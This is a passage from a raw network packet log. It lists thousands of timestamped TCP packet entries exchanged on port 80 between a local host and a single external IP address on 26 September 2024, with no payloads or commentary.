Sep 26, 2024 07:47:21.734388113 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734391928 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734411955 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734426975 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734435081 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734442949 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734456062 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734462976 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734488964 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734492064 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734507084 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734519958 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734529972 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734539032 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734563112 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734564066 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734591961 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734599113 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734611988 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734620094 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734628916 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734638929 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734649897 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734658957 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734684944 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734688997 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734695911 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734703064 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734728098 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734730005 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734755993 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734762907 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734777927 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734801054 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734807968 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734827042 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734828949 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734848976 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734858990 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734863997 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734878063 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734901905 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734904051 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734911919 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734925032 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734936953 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734937906 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734968901 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734972000 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734977007 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734992027 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735017061 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735021114 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735021114 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735028982 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735035896 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735053062 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735054970 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735074997 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735074997 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735080957 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735090017 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735129118 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735129118 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735146999 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735165119 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735188961 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735193968 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735200882 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735208035 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735225916 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735234022 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735246897 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735253096 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735280991 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735287905 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735291958 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735310078 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735331059 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735332012 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735347986 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735367060 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735414028 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735430956 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735456944 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735475063 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735479116 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735479116 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735501051 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735507965 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735517025 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735536098 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735551119 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735559940 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735573053 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735585928 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735586882 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735609055 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735626936 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735622883 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735646009 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735657930 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735665083 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735699892 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735713959 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735733032 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735755920 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735760927 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735766888 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735774994 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735795021 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735809088 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735817909 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735838890 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735855103 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735862970 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735878944 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735884905 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735903025 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735909939 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735918045 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735948086 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.735955954 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735969067 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.735996008 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.736001015 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.736008883 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.736032963 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.736035109 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.736052036 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.736083031 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.736090899 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.736501932 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.736546040 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.736550093 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.736588955 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.878597975 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.878638029 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.878659010 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.878671885 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.878698111 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.878712893 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.878729105 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.878757000 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.878762960 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.878774881 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.878801107 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.878803968 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.878803968 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.878803968 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.878823042 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.878823042 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.878839970 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.878859043 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879376888 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879420042 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879436970 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879440069 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879457951 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879457951 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879479885 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879487038 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879493952 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879522085 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879528999 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879560947 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879565001 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879584074 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879604101 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879609108 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879646063 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879658937 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879673958 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879688025 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879692078 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879702091 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879719019 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879734993 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879733086 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879762888 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879782915 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879784107 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879800081 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879833937 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879842043 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879853964 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879880905 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879884958 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879899025 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879904032 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879921913 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879928112 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879942894 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879946947 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879976034 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.879978895 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.879992008 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880002975 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880023003 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880028963 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880049944 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880055904 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880074024 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880086899 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880099058 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880101919 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880127907 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880156040 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880161047 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880167961 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880175114 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880199909 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880203009 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880218029 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880227089 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880244017 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880255938 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880276918 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880292892 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880378962 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880438089 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880450964 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880475998 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880494118 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880505085 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880517960 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880518913 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880537987 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880552053 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880562067 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880569935 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880594969 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880609989 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880614042 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880629063 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880656004 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880656958 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880675077 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880677938 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880703926 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880726099 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880743027 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880757093 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880781889 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880793095 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880793095 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880820036 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880840063 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880888939 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880903006 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880928993 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.880937099 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.880966902 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.881382942 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.881396055 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.881436110 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.025681019 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.025722980 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.025743961 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.025763035 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.025784969 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.025805950 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.025880098 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.025883913 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.025880098 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.025880098 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.025880098 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.025880098 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.025880098 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.025929928 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026006937 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026046038 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026048899 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026086092 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026113033 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026128054 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026158094 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026160955 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026170969 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026181936 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026185989 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026209116 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026223898 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026237965 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026273966 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026395082 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026423931 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026441097 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026443005 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026456118 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026473999 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026478052 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026498079 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026515961 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026520014 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026530027 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026541948 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026549101 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026561022 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026576996 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026583910 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026596069 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026603937 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026618004 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026637077 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026637077 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026664972 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026675940 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026683092 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026696920 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026707888 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026716948 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026730061 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026741982 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026747942 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026762962 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026782990 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026783943 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026802063 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026825905 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026829958 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026840925 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026849031 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026861906 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026875019 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026881933 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026890039 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026913881 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026918888 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026932001 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026947975 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026952982 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.026967049 CEST	80	49161	66.63.187.123	192.168.2.22
